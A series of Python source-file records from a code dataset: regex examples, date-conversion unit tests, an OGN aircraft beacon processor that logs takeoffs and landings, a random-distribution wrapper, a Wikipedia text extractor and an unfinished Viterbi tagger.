for starting\nmatchObj8 = startRegex.search(\"hello world ! this is python\")\nprint(matchObj8.group())\n\nstartRegex = re.compile(r'\\d+$') ## $ is using for ending\nmatchObj8 = startRegex.search(\"hello world ! this is python 25\")\nprint(matchObj8.group())\n","sub_path":"Pycharm/Regular_Expression/last part.py","file_name":"last part.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"106658504","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport time\nimport numpy as np\nimport pytest\n\nfrom ..Time import DateTime, convert, convert_vals, date2secs, secs2date, use_noon_day_start\nfrom cxotime import CxoTime\nfrom astropy.time import Time\n\n\ndef test_convert_vals_scalar():\n fmts = ['date', 'secs', 'jd', 'mjd', 'fits', 'caldate']\n vals = {fmt: getattr(DateTime('2012:001'), fmt) for fmt in fmts}\n for fmt_in in fmts:\n val = vals[fmt_in]\n for fmt_out in fmts:\n if fmt_in != fmt_out:\n convert_val = convert_vals(val, fmt_in, fmt_out)\n convert_back = convert_vals(convert_val, fmt_out, fmt_in)\n if val != convert_back:\n print(fmt_in, fmt_out, val, convert_back)\n assert convert_val == getattr(DateTime(val, format=fmt_in), fmt_out)\n assert val == convert_back\n\n\ndef test_convert_vals_array():\n fmts = ['date', 'secs', 'jd', 'mjd', 'fits', 'caldate']\n vals = {fmt: getattr(DateTime(['2012:001', '2000:001']), fmt) for fmt in fmts}\n for fmt_in in fmts:\n val = vals[fmt_in]\n for fmt_out in fmts:\n if fmt_in != fmt_out:\n convert_val = convert_vals(val, fmt_in, fmt_out)\n convert_back = convert_vals(convert_val, fmt_out, fmt_in)\n assert np.all(val == convert_back)\n\n\n@pytest.mark.parametrize('date_in', ('2012:001:00:00:00',\n ['2012:001:00:00:00', '2000:001:00:00:00']))\ndef test_date2secs(date_in):\n vals = DateTime(date_in)\n assert np.all(date2secs(date_in) == vals.secs)\n if isinstance(date_in, str):\n date_in_bytes = date_in.encode('ascii')\n else:\n date_in_bytes = [date.encode('ascii') for date in date_in]\n assert np.all(date2secs(date_in_bytes) == vals.secs)\n\n\ndef test_secs2date():\n vals = DateTime(['2012:001', '2000:001'])\n assert np.all(secs2date(vals.secs) == vals.date)\n\n\ndef test_mxDateTime_in():\n assert convert('1998-01-01 00:00:30') == 93.184\n\n\ndef test_use_noon_day_start():\n from .. import Time\n assert Time._DAY_START == '00:00:00'\n use_noon_day_start()\n assert Time._DAY_START == '12:00:00'\n tm = DateTime('2020:001')\n assert tm.date == '2020:001:12:00:00.000'\n\n # Set it back for rest of testing\n Time._DAY_START = '00:00:00'\n\n\ndef test_iso():\n assert convert(93.184, fmt_out='iso') == '1998-01-01 00:00:30.000'\n assert convert(93.184, fmt_out='iso') == '1998-01-01 00:00:30.000'\n assert DateTime(93.184).iso == '1998-01-01 00:00:30.000'\n assert DateTime('1998-01-01 00:00:30.000').secs == 93.184\n assert DateTime('1998-01-01 00:00:30').secs == 93.184\n assert DateTime('1998-1-1 0:0:1.111').secs == 64.295\n\n\ndef test_secs():\n assert '%.3f' % DateTime(20483020.).secs == '20483020.000'\n assert DateTime(20483020.).date == '1998:238:01:42:36.816'\n assert np.isclose(DateTime('2012:001:00:00:00.000').secs, 441763266.18399996)\n assert DateTime(473385667.18399996).date == '2013:001:00:00:00.000'\n\n\ndef test_fits2secs():\n assert convert('1998-01-01T00:00:30') == 30\n\n\ndef test_fits2unix():\n assert convert('1998-01-01T00:00:30', fmt_out='unix') == 883612766.816\n assert convert('2007-01-01T00:00:00', fmt_out='unix') == 1167609534.816\n assert DateTime('2007-01-01T00:00:00').unix == 1167609534.816\n\n\ndef test_jd():\n assert DateTime('2007-01-01T00:00:00').jd == 2454101.4992455561\n\n\ndef test_mjd():\n assert DateTime('2007-01-01T00:00:00').mjd == 54100.999245555999\n assert DateTime('2012-01-01T00:00:00').mjd == 55926.999233981\n assert DateTime('2013-01-01T00:00:00').mjd == 56292.999222407\n\n\n@pytest.mark.parametrize('time_cls', [Time, CxoTime])\n@pytest.mark.parametrize('time_fmt', ['isot', 'unix', 'cxcsec'])\ndef test_init_from_astropy_time_scalar(time_cls, time_fmt):\n date = '1998:001:00:00:01.234'\n ct = time_cls(date)\n ct.format = time_fmt\n\n # Initialize DateTime from Time/CxoTime and convert to date or secs\n dt = DateTime(ct)\n assert dt.date == date\n assert np.isclose(dt.secs, ct.cxcsec)\n\n # Requesting .cxotime from DateTime initialized from CxoTime gives\n # back the original object.\n ct2 = dt.cxotime\n assert isinstance(ct2, CxoTime)\n assert ct2.date == date\n\n\ndef test_convert_to_cxotime_scalar():\n # Initialize DateTime from a date string and convert to CxoTime\n date = '1998:001:00:00:01.234'\n dt = DateTime(date)\n ct = dt.cxotime\n assert isinstance(ct, CxoTime)\n assert ct.date == date\n assert np.isclose(dt.secs, ct.secs)\n\n\n@pytest.mark.parametrize('time_cls', [Time, CxoTime])\n@pytest.mark.parametrize('time_fmt', ['isot', 'unix', 'cxcsec'])\ndef test_init_from_astropy_time_array(time_cls, time_fmt):\n dates = ['1998:001:00:00:01.234', '2000:001:01:02:03.456']\n ct = time_cls(dates)\n ct.format = time_fmt\n\n # Initialize DateTime from Time/CxoTime and convert to date or secs\n dt = DateTime(ct)\n assert np.all(dt.date == dates)\n assert np.allclose(dt.secs, ct.cxcsec)\n\n # Requesting .cxotime from DateTime initialized from CxoTime gives\n # back the original object.\n ct2 = dt.cxotime\n assert isinstance(ct2, CxoTime)\n assert np.all(ct2.date == dates)\n\n\ndef test_convert_to_cxotime_array():\n # Initialize DateTime from a date string and convert to CxoTime\n dates = ['1998:001:00:00:01.234', '2000:001:01:02:03.456']\n dt = DateTime(dates)\n ct = dt.cxotime\n assert isinstance(ct, CxoTime)\n assert np.all(ct.date == dates)\n assert np.allclose(dt.secs, ct.secs)\n\n\ndef test_plotdate():\n \"\"\"Validate against cxctime2plotdate and round-trip\n >>> cxctime2plotdate([DateTime('2010:001').secs])\n array([ 733773.5])\n \"\"\"\n pd = DateTime('2010:001').plotdate\n assert pd == 733773.0\n assert DateTime(pd, format='plotdate').date == '2010:001:00:00:00.000'\n\n\ndef test_greta():\n assert DateTime('2007001.000000000').date == '2007:001:00:00:00.000'\n assert DateTime('2007001.0').date == '2007:001:00:00:00.000'\n assert DateTime(2007001.0).date == '2007:001:00:00:00.000'\n assert DateTime('2007001.010203').date == '2007:001:01:02:03.000'\n assert DateTime('2007001.01020304').date == '2007:001:01:02:03.040'\n assert DateTime('2007:001:01:02:03.40').greta == '2007001.010203400'\n assert DateTime('2007:001:00:00:00.000').greta == '2007001.000000000'\n\n\ndef test_stop_day():\n assert DateTime('1996365.010203').day_end().iso == '1996-12-31 00:00:00.000'\n assert DateTime('1996366.010203').day_end().iso == '1997-01-01 00:00:00.000'\n\n\ndef test_start_day():\n assert DateTime('1996365.010203').day_start().iso == '1996-12-30 00:00:00.000'\n assert DateTime('1996367.010203').day_start().iso == '1997-01-01 00:00:00.000'\n\n\ndef test_year_doy():\n assert DateTime(20483020.0).year_doy == '1998:238'\n assert DateTime('2004:121').date == '2004:121:00:00:00.000'\n\n\ndef test_year_mon_day():\n assert DateTime('2004:121').year_mon_day == '2004-04-30'\n assert DateTime('2007-01-01').date == '2007:001:00:00:00.000'\n\n\ndef test_add():\n assert (DateTime('2007-01-01') + 7).date == DateTime('2007-01-08').date\n\n\ndef test_add_array():\n dates_in = DateTime(np.array(['2007-01-01', '2008-02-01']))\n dates_out = dates_in + np.array([3, 4])\n dates_exp = DateTime(np.array(['2007-01-04', '2008-02-05']))\n assert np.all(dates_out.date == dates_exp.date)\n\n\ndef test_sub_days():\n assert (DateTime('2007-01-08') - 7).date == DateTime('2007-01-01').date\n\n\ndef test_sub_datetimes():\n assert DateTime('2007-01-08') - DateTime('2007-01-01') == 7\n\n\ndef test_sub_datetimes_array():\n dates_1 = DateTime(np.array(['2007-01-08', '2008-01-08']))\n dates_2 = DateTime(np.array(['2007-01-01', '2008-01-02']))\n delta_days = dates_1 - dates_2\n assert np.all(delta_days == np.array([7, 6]))\n\n\ndef test_init_from_DateTime():\n date1 = DateTime('2001:001')\n date2 = DateTime(date1)\n assert date1.greta == date2.greta\n\n\ndef test_frac_year():\n date1 = DateTime('1999:170:01:02:03.232')\n date2 = DateTime(date1.frac_year, format='frac_year')\n assert date1.date == date2.date\n date1 = DateTime('2001:180:00:00:00')\n assert np.isclose(date1.frac_year, 2001 + 179. / 365.)\n\n\ndef test_leapsec_2015():\n \"\"\"\n Tests for end of June 2015 leap second (PR #15).\n \"\"\"\n # Test that there are 4 clock ticks where one usually expects 3\n t1 = DateTime('2015-06-30 23:59:59').secs\n t2 = DateTime('2015-07-01 00:00:02').secs\n np.isclose(t2 - t1, 4.0)\n # Test that a diff from a time before to the middle of the leap second is consistent\n t1 = DateTime('2015-06-30 23:59:59').secs\n t2 = DateTime('2015-06-30 23:59:60.5').secs\n np.isclose(t2 - t1, 1.5)\n # Test that a diff from the beginning of the leap second to the beginning of the next\n # day is no longer than a second\n t1 = DateTime('2015-06-30 23:59:60.').secs\n t2 = DateTime('2015-07-01 00:00:00').secs\n np.isclose(t2 - t1, 1.0)\n\n\ndef test_leapsec_2016():\n \"\"\"\n Tests for end of 2016 leap second. (PR #23).\n \"\"\"\n # Test that there are 4 clock ticks where one usually expects 3\n t1 = DateTime('2016-12-31 23:59:59').secs\n t2 = DateTime('2017-01-01 00:00:02').secs\n np.isclose(t2 - t1, 4.0)\n # Test that a diff from a time before to the middle of the leap second is consistent\n t1 = DateTime('2016-12-31 23:59:59').secs\n t2 = DateTime('2016-12-31 23:59:60.5').secs\n np.isclose(t2 - t1, 1.5)\n # Test that a diff from the beginning of the leap second to the beginning of the year\n # is no longer than a second\n t1 = DateTime('2016-12-31 23:59:60.').secs\n t2 = DateTime('2017-01-01 00:00:00').secs\n np.isclose(t2 - t1, 1.0)\n\n\ndef test_date_now():\n \"\"\"\n Make sure that instantiating a DateTime object as NOW uses the\n the time at creation, not the time at attribute access.\n \"\"\"\n date1 = DateTime()\n date1_date = date1.date\n time.sleep(1)\n assert date1.date == date1_date\n\n\ndef test_date_attributes():\n t = DateTime(['2015:160:02:24:01.250',\n '2015:161:03:24:02.250',\n '2015:162:04:24:03.250'])\n for attr, vals in (('year', np.array([2015, 2015, 2015])),\n ('yday', np.array([160, 161, 162])),\n ('hour', np.array([2, 3, 4])),\n ('min', np.array([24, 24, 24])),\n ('sec', np.array([1.25, 2.25, 3.25])),\n ('mon', np.array([6, 6, 6])),\n ('day', np.array([9, 10, 11])),\n ('wday', np.array([1, 2, 3]))):\n assert np.all(getattr(t, attr) == vals)\n\n t = DateTime('2015:160:02:24:00.250')\n for attr, val in (('year', 2015),\n ('yday', 160),\n ('hour', 2),\n ('min', 24),\n ('sec', 0.25),\n ('mon', 6),\n ('day', 9),\n ('wday', 1)):\n assert getattr(t, attr) == val\n","sub_path":"Chandra/Time/tests/test_Time.py","file_name":"test_Time.py","file_ext":"py","file_size_in_byte":11032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"431790416","text":"\"\"\"\nNotes:\n * multiple workers cannot work on a single queue as flight-states need to be processed in order.\n * hence multiple queues exist to paralelise processing a bit using queue-specific workers\n\"\"\"\nimport os\nimport time\nimport pytz\nfrom datetime import datetime\nfrom threading import Thread\n\nfrom redis import StrictRedis\nfrom queue import Queue, Empty\n\nfrom ogn.parser import parse\nfrom ogn.parser.exceptions import ParseError\n\nfrom configuration import debugMode, redisConfig, \\\n dbConnectionInfo, REDIS_RECORD_EXPIRATION, MQ_HOST, MQ_PORT, MQ_USER, MQ_PASSWORD, INFLUX_DB_NAME, INFLUX_DB_HOST, \\\n GEOFILE_PATH, AGL_LANDING_LIMIT, ADDRESS_TYPES, ADDRESS_TYPE_PREFIX\nfrom geofile import Geofile\nfrom db.DbThread import DbThread\nfrom db.InfluxDbThread import InfluxDbThread\nfrom airfieldManager import AirfieldManager\nfrom dataStructures import Status\nfrom utils import getGroundSpeedThreshold\nfrom periodicTimer import PeriodicTimer\n\n\nclass RawWorker(Thread):\n\n redis = StrictRedis(**redisConfig)\n\n def __init__(self, id: int, dbThread: DbThread, rawQueue: Queue, influxDb: InfluxDbThread):\n super(RawWorker, self).__init__()\n\n self.id = id\n self.dbThread = dbThread\n self.rawQueue = rawQueue\n self.influxDb = influxDb\n\n self.numProcessed = 0\n self.airfieldManager = AirfieldManager()\n\n self.geofile = Geofile(filename=GEOFILE_PATH)\n\n self.doRun = True\n\n def __del__(self):\n self.doRun = False\n\n def stop(self):\n self.doRun = False\n\n def run(self):\n print(f\"[INFO] Starting worker '{self.id}'\")\n while self.doRun:\n try:\n raw_message = self.rawQueue.get(block=False)\n if raw_message:\n self._processMessage(raw_message)\n except Empty:\n time.sleep(1) # ~ thread.yield()\n except BrokenPipeError as ex:\n print('[WARN] in worker:', str(ex))\n except Exception as ex:\n print('[ERROR] some other problem:', str(ex))\n\n print(f\"[INFO] Worker '{self.id}' terminated.\")\n\n def _saveToRedis(self, key: str, value, expire=REDIS_RECORD_EXPIRATION):\n self.redis.set(key, str(value))\n self.redis.expire(key, expire)\n\n def _getFromRedis(self, key, default=None):\n res = self.redis.get(key)\n if not res:\n return default\n else:\n return res.decode('utf-8')\n\n def _getAgl(self, lat, lon, altitude):\n elev = self.geofile.getValue(lat, lon)\n if elev and elev <= 100000: # 100 km is the edge of space ;)\n if elev:\n agl = altitude - elev\n\n if agl < 0:\n agl = 0\n\n return agl\n\n return 0\n\n def _processMessage(self, raw_message: str):\n beacon = None\n try:\n beacon = parse(raw_message)\n if not beacon or 'aprs_type' not in beacon.keys() or (beacon.get('aprs_type', None) != 'position'):\n # print('[WARN] cannot process:', raw_message)\n # print('bt:', beacon.get('beacon_type', None), str(beacon))\n return\n\n except ParseError as e:\n # print(f'[ERROR] when parsing a beacon: {str(e)}', raw_message)\n return\n\n except Exception as e:\n # print(f'[ERROR] Some other error in _processMessage() {str(e)}', raw_message)\n return\n\n self.numProcessed += 1\n\n addressType = beacon.get('address_type', 1) # 1 = icao, 2 = flarm, 3 = ogn\n addressTypeStr = ADDRESS_TYPES.get(addressType, 'X')\n aircraftType = beacon.get('aircraft_type', 8) # icao-crafts are often 'powered aircraft's\n\n if 'address' not in beacon:\n address = beacon['name'][3:]\n beacon['address_type'] = 1\n else:\n address = beacon['address']\n\n # we are not interested in para, baloons, uavs and other crazy flying stuff:\n if aircraftType not in [1, 2, 6, 8, 9, 10]:\n return\n\n dt = beacon['timestamp'].replace(tzinfo=pytz.UTC)\n ts = round(dt.timestamp()) # [s]\n now = datetime.utcnow().replace(tzinfo=pytz.UTC)\n if ts - now.timestamp() > 30: # timestamp from the future? We'll 30s time offset at most..\n print(f\"[WARN] Timestamp from the future: {dt}, now is {now}\")\n return\n\n lat = beacon.get('latitude') or None\n lon = beacon.get('longitude') or None\n altitude = int(beacon.get('altitude')) or 0\n groundSpeed = beacon.get('ground_speed') or 0\n verticalSpeed = beacon.get('climb_rate') or 0\n turnRate = beacon.get('turn_rate') or 0\n\n # get altitude above ground level (AGL):\n agl = self._getAgl(lat, lon, altitude) # [m]\n\n # insert into influx:\n # pos ~ position, vs = vertical speed, tr = turn rate\n if agl < 128000: # groundSpeed > 0 and\n q = f\"pos,addr={ADDRESS_TYPE_PREFIX[addressType]}{address} lat={lat:.6f},lon={lon:.6f},alt={altitude:.0f},gs={groundSpeed:.2f},vs={verticalSpeed:.2f},tr={turnRate:.2f},agl={agl:.0f} {ts}000000000\"\n self.influxDb.addStatement(q)\n\n prevStatus: Status = None\n statusKey = f\"{addressTypeStr}{address}-status\"\n ps = self._getFromRedis(statusKey)\n if ps:\n try:\n prevStatus = Status.parse(ps)\n except ValueError as e:\n print('[ERROR] when parsing prev. status: ', e)\n\n gsKey = f\"{addressTypeStr}{address}-gs\"\n\n if not prevStatus: # we have no prior information\n self._saveToRedis(statusKey, Status(s=0, ts=ts)) # 0 = on ground, 1 = airborne, -1 = unknown\n self._saveToRedis(gsKey, 0, 120) # gs = 0\n return\n\n prevGroundSpeed = float(self._getFromRedis(gsKey, 0))\n if prevGroundSpeed > 0:\n # filter speed change a bit (sometimes there are glitches in speed with badly placed gps antenna):\n groundSpeed = groundSpeed * 0.7 + prevGroundSpeed * 0.3\n\n self._saveToRedis(gsKey, groundSpeed, 3600)\n\n currentStatus: Status = Status(ts=ts, s=-1) # 0 = on ground, 1 = airborne, -1 = unknown\n\n if prevStatus.s == 0: # 0 = on ground, 1 = airborne, -1 = unknown\n currentStatus.s = 1 if groundSpeed >= getGroundSpeedThreshold(aircraftType, forEvent='T') else 0\n else: # when airborne\n currentStatus.s = 0 if groundSpeed <= getGroundSpeedThreshold(aircraftType, forEvent='L') else 1\n\n if currentStatus.s != prevStatus.s:\n event = 'L' if currentStatus.s == 0 else 'T' # L = landing, T = take-off\n flightTime = 0\n\n if event == 'L':\n flightTime = currentStatus.ts - prevStatus.ts # [s]\n if flightTime < 120: # [s]\n return\n\n if flightTime > 12 * 3600: # some relic from the previous day\n self.redis.delete(statusKey)\n self.redis.delete(gsKey)\n return\n\n # check altitude above ground level:\n if agl and agl > AGL_LANDING_LIMIT: # [m]\n return # most likely a false detection\n\n # if event == 'T':\n # # check altitude above ground level:\n # agl = self._getAgl(lat, lon, altitude)\n # if agl and agl < 50: # [m]\n # return # most likely a false detection\n\n self._saveToRedis(statusKey, currentStatus)\n\n icaoLocation = self.airfieldManager.getNearest(lat, lon)\n\n dt = datetime.fromtimestamp(ts)\n dtStr = dt.strftime('%H:%M:%S')\n print(f\"[INFO] event: {dtStr}; {icaoLocation}; [{addressTypeStr}] {address}; {event}; {flightTime}\")\n\n icaoLocation = f\"'{icaoLocation}'\" if icaoLocation else 'null'\n\n strSql = f\"INSERT INTO logbook_events \" \\\n f\"(ts, address, address_type, aircraft_type, event, lat, lon, location_icao, flight_time) \" \\\n f\"VALUES \" \\\n f\"({ts}, '{address}', {addressType}, '{aircraftType}', \" \\\n f\"'{event}', {lat:.5f}, {lon:.5f}, {icaoLocation}, {flightTime});\"\n\n # print('strSql:', strSql)\n\n self.dbThread.addStatement(strSql)\n\n\nclass BeaconProcessor(object):\n\n redis = StrictRedis(**redisConfig)\n\n rawQueueOGN = Queue(maxsize=0) # 0 ~ infinite (according to docs)\n rawQueueFLR = Queue(maxsize=0)\n rawQueueICA = Queue(maxsize=0)\n queues = (rawQueueOGN, rawQueueFLR, rawQueueICA)\n queueIds = ('ogn', 'flarm', 'icao')\n\n workers = list()\n\n def __init__(self):\n\n # restore unprocessed data from redis:\n numRead = 0\n for key, queue in zip(self.queueIds, self.queues):\n while True:\n item = self.redis.lpop(key)\n if not item:\n break\n queue.put(item)\n numRead += 1\n print(f\"[INFO] Loaded {numRead} raw message(s) from redis.\")\n\n self.dbThread = DbThread(dbConnectionInfo)\n self.dbThread.start()\n\n self.influxDb = InfluxDbThread(dbName=INFLUX_DB_NAME, host=INFLUX_DB_HOST)\n self.influxDb.start()\n\n for id, queue in zip(self.queueIds, self.queues):\n rawWorker = RawWorker(id=id, dbThread=self.dbThread, rawQueue=queue, influxDb=self.influxDb)\n rawWorker.start()\n self.workers.append(rawWorker)\n\n self.timer = PeriodicTimer(60, self._processStats)\n self.timer.start()\n\n def stop(self):\n for worker in self.workers:\n worker.stop()\n\n # store all unprocessed data into redis:\n n = 0\n for key, queue in zip(self.queueIds, self.queues):\n n += queue.qsize()\n for item in list(queue.queue):\n self.redis.rpush(key, item)\n print(f\"[INFO] Flushed {n} rawQueueX items into redis.\")\n\n self.dbThread.stop()\n self.influxDb.stop()\n\n self.timer.stop()\n\n print('[INFO] BeaconProcessor terminated.')\n\n startTime = time.time()\n numEnquedTasks = 0\n\n def _processStats(self):\n now = time.time()\n tDiff = now - self.startTime\n numTasksPerMin = self.numEnquedTasks/tDiff*60\n numQueuedTasks = self.rawQueueOGN.qsize() + self.rawQueueFLR.qsize() + self.rawQueueICA.qsize()\n print(f\"[INFO] Beacon rate: {numTasksPerMin:.0f}/min. {numQueuedTasks} queued.\")\n\n traffic = dict()\n for worker in self.workers:\n traffic[worker.id] = worker.numProcessed\n worker.numProcessed = 0\n\n if not debugMode and numTasksPerMin >= 400:\n cmd = f\"mosquitto_pub -h {MQ_HOST} -p {MQ_PORT} -u {MQ_USER} -P {MQ_PASSWORD} -t ognLogbook/rate -m '{round(numTasksPerMin)}'; \" \\\n f\"mosquitto_pub -h {MQ_HOST} -p {MQ_PORT} -u {MQ_USER} -P {MQ_PASSWORD} -t ognLogbook/queued -m '{round(numQueuedTasks)}'; \" \\\n f\"mosquitto_pub -h {MQ_HOST} -p {MQ_PORT} -u {MQ_USER} -P {MQ_PASSWORD} -t ognLogbook/ogn -m '{traffic['ogn']}'; \" \\\n f\"mosquitto_pub -h {MQ_HOST} -p {MQ_PORT} -u {MQ_USER} -P {MQ_PASSWORD} -t ognLogbook/flarm -m '{traffic['flarm']}'; \" \\\n f\"mosquitto_pub -h {MQ_HOST} -p {MQ_PORT} -u {MQ_USER} -P {MQ_PASSWORD} -t ognLogbook/icao -m '{traffic['icao']}';\"\n os.system(cmd)\n\n self.numEnquedTasks = 0\n self.startTime = now\n\n def enqueueForProcessing(self, raw_message: str):\n prefix = raw_message[:3]\n if prefix == 'OGN':\n self.rawQueueOGN.put(raw_message)\n elif prefix == 'FLR':\n self.rawQueueFLR.put(raw_message)\n elif prefix == 'ICA':\n self.rawQueueICA.put(raw_message)\n else:\n raise NotImplementedError('Worker for \"{prefix}\" not implemented!', raw_message)\n\n self.numEnquedTasks += 1\n\n\n","sub_path":"src/beaconProcessor.py","file_name":"beaconProcessor.py","file_ext":"py","file_size_in_byte":12009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"433697290","text":"from marketsim import registry\nfrom marketsim.gen._out._ifunction import IFunctionfloat\n@registry.expose([\"Random\", \"triangular\"])\nclass triangular_FloatFloatFloat(IFunctionfloat):\n \"\"\" \n Return a random floating point number *N* such that *low* <= *N* <= *high* and\n with the specified *mode* between those bounds.\n The *low* and *high* bounds default to zero and one.\n The *mode* argument defaults to the midpoint between the bounds,\n giving a symmetric distribution.\n \"\"\" \n def __init__(self, Low = None, High = None, Mode = None):\n from marketsim import rtti\n self.Low = Low if Low is not None else 0.0\n self.High = High if High is not None else 1.0\n self.Mode = Mode if Mode is not None else 0.5\n rtti.check_fields(self)\n \n @property\n def label(self):\n return repr(self)\n \n _properties = {\n 'Low' : float,\n 'High' : float,\n 'Mode' : float\n }\n def __repr__(self):\n return \"triangular(%(Low)s, %(High)s, %(Mode)s)\" % self.__dict__\n \n def __call__(self, *args, **kwargs):\n import random\n return random.triangular(self.Low, self.High, self.Mode)\n \n def _casts_to(self, dst):\n return triangular_FloatFloatFloat._types[0]._casts_to(dst)\n \ndef triangular(Low = None,High = None,Mode = None): \n from marketsim import rtti\n if Low is None or rtti.can_be_casted(Low, float):\n if High is None or rtti.can_be_casted(High, float):\n if Mode is None or rtti.can_be_casted(Mode, float):\n return triangular_FloatFloatFloat(Low,High,Mode)\n raise Exception('Cannot find suitable overload for triangular('+str(Low) +':'+ str(type(Low))+','+str(High) +':'+ str(type(High))+','+str(Mode) +':'+ str(type(Mode))+')')\n","sub_path":"marketsim/gen/_out/math/random/_triangular.py","file_name":"_triangular.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"143113883","text":"import json\nimport nltk\nimport string\nfrom smart_open import smart_open\n\nfilter = ['...', \"''\", '``']\n\n\ndef clean_word(wd):\n fcharacter = wd[0]\n echaracter = wd[-1]\n if not fcharacter.isalnum():\n wd = wd[1:]\n if not echaracter.isalnum():\n wd = wd[:-1]\n return wd\n\n\nwith open('data/interim/wiki.txt', 'w') as outfile:\n for line in smart_open('data/raw/enwiki-latest.json.gz'):\n article = json.loads(line)\n texts = article['section_texts']\n for text in texts:\n text = text.replace('=', '')\n text = text.replace(\"''\", '')\n text = text.replace(\"``\", '')\n sentences = nltk.sent_tokenize(text, 'english')\n for sentence in sentences:\n words = nltk.word_tokenize(sentence, 'english')\n words = [clean_word(wd.lower()) for wd in words\n if wd not in string.punctuation\n and wd not in filter]\n if len(words) > 0:\n sent = ' '.join(words) + '\\n'\n outfile.write(sent)\n","sub_path":"src/data_tasks/get_raw_text.py","file_name":"get_raw_text.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"88184536","text":"\"\"\"\r\nPart 3: Here you should improve viterbi to use better laplace smoothing for unseen words\r\nThis should do better than baseline and your first implementation of viterbi, especially on unseen words\r\n\"\"\"\r\nfrom collections import defaultdict\r\nimport math\r\n\r\ndef collect_init_trans_emission_stats(train):\r\n init_tag_counts = {}\r\n tag_pair_counts = defaultdict(dict)\r\n tag_word_counts = defaultdict(dict)\r\n for sentence in train:\r\n sentence = sentence[1:-1]\r\n if sentence[0][1] not in init_tag_counts:\r\n init_tag_counts[sentence[0][1]] = 1\r\n else:\r\n init_tag_counts[sentence[0][1]] += 1\r\n\r\n for i in range(len(sentence)-1):\r\n word0, tag0 = sentence[i]\r\n word1, tag1 = sentence[i+1]\r\n if tag0 not in tag_pair_counts or tag1 not in tag_pair_counts[tag0]:\r\n tag_pair_counts[tag0][tag1] = 1\r\n else:\r\n tag_pair_counts[tag0][tag1] += 1\r\n\r\n if tag0 not in tag_word_counts or word0 not in tag_word_counts[tag0]:\r\n tag_word_counts[tag0][word0] = 1\r\n else:\r\n tag_word_counts[tag0][word0] += 1\r\n\r\n if tag1 not in tag_word_counts or word1 not in tag_word_counts[tag1]:\r\n tag_word_counts[tag1][word1] = 1\r\n else:\r\n if word1 in tag_word_counts[tag1]:\r\n tag_word_counts[tag1][word1] += 1\r\n\r\n # tag to tag_count\r\n hapax_words = {}\r\n for tag, word_dict in tag_word_counts.items():\r\n for word, word_count in word_dict.items():\r\n if word_count == 1:\r\n if tag not in hapax_words:\r\n hapax_words[tag] = 1\r\n else:\r\n hapax_words[tag] += 1\r\n\r\n return init_tag_counts, tag_pair_counts, tag_word_counts, hapax_words\r\n\r\ndef compute_init_transition_emission_probabilities(init_tag_probs, tag_pair_probs, tag_word_probs, hapax_probs,\r\n smoothing_param):\r\n # compute initial tag probabilities\r\n total_tag_counts = sum(init_tag_probs.values())\r\n tag_types = len(init_tag_probs.keys()) + 1\r\n denominator = total_tag_counts + smoothing_param * tag_types\r\n\r\n for tag in init_tag_probs.keys():\r\n init_tag_probs[tag] = math.log((init_tag_probs[tag] + smoothing_param) / denominator)\r\n init_unseen_prob = math.log(smoothing_param / denominator)\r\n\r\n # compute transitional probabilities\r\n trans_unseen_prob = {}\r\n for tag0 in tag_pair_probs.keys():\r\n next_tag_total_count = sum(tag_pair_probs[tag0].values())\r\n next_tag_types = len(tag_pair_probs[tag0].keys()) + 1\r\n denominator = next_tag_total_count + smoothing_param * next_tag_types\r\n\r\n for tag1 in tag_pair_probs[tag0].keys():\r\n tag_pair_probs[tag0][tag1] = math.log((tag_pair_probs[tag0][tag1] + smoothing_param) / denominator)\r\n trans_unseen_prob[tag0] = math.log(smoothing_param / denominator)\r\n trans_unseen_prob['END'] = math.log(smoothing_param / denominator)\r\n\r\n # compute probabilities for tags with hapax words\r\n total_hapax_count = sum(hapax_probs.values())\r\n total_hapax_tags = len(hapax_probs.keys()) + 1\r\n denominator = total_hapax_count + smoothing_param * total_hapax_tags\r\n for tag, tag_count in hapax_probs.items():\r\n hapax_probs[tag] = math.log((tag_count + smoothing_param)/denominator)\r\n hapax_unseen = math.log(smoothing_param/denominator)\r\n\r\n # compute emission probabilities\r\n emission_unseen_prob = {}\r\n for tag in tag_word_probs.keys():\r\n total_words_under_tag_count = sum(tag_word_probs[tag].values())\r\n vocab_size_under_tag = len(tag_word_probs[tag]) + 1\r\n emission_smoothing_param = smoothing_param\r\n denominator = total_words_under_tag_count + emission_smoothing_param * vocab_size_under_tag\r\n for word in tag_word_probs[tag].keys():\r\n tag_word_probs[tag][word] = math.log((tag_word_probs[tag][word] + emission_smoothing_param) / denominator)\r\n emission_unseen_prob[tag] = math.log(emission_smoothing_param / denominator)\r\n\r\n return init_tag_probs, tag_pair_probs, tag_word_probs, trans_unseen_prob, emission_unseen_prob, hapax_probs, \\\r\n hapax_unseen\r\n\r\ndef viterbi_2(train, test):\r\n '''\r\n input: training data (list of sentences, with tags on the words)\r\n test data (list of sentences, no tags on the words)\r\n output: list of sentences with tags on the words\r\n E.g., [[(word1, tag1), (word2, tag2)], [(word3, tag3), (word4, tag4)]]\r\n '''\r\n smoothing_param = 0.00001\r\n init_tag_counts, tag_pair_counts, tag_word_counts, hapax_words = collect_init_trans_emission_stats(train)\r\n init_tag_probs, transmission_probs, emission_probs,trans_unseen_prob, emission_unseen_prob, hapax_probs, hapax_unseen = \\\r\n compute_init_transition_emission_probabilities(init_tag_counts,\r\n tag_pair_counts,\r\n tag_word_counts,\r\n hapax_words,\r\n smoothing_param)\r\n tag_result = []\r\n for sentence in test:\r\n trimmed_sentence = sentence[1:-1]\r\n v = [{}]\r\n for tag in init_tag_probs.keys():\r\n v[0][tag] = {\r\n 'p': init_tag_probs[tag] + emission_probs[tag].get(trimmed_sentence[0],\r\n emission_unseen_prob[tag] + hapax_probs.get(tag,hapax_unseen)),\r\n 'b': None}\r\n\r\n for i in range(1, len(trimmed_sentence)):\r\n v.append({})\r\n for curr_tag in emission_probs.keys():\r\n max_trans_prob = -999999\r\n back_tag = None\r\n for prev_tag in v[i - 1].keys():\r\n 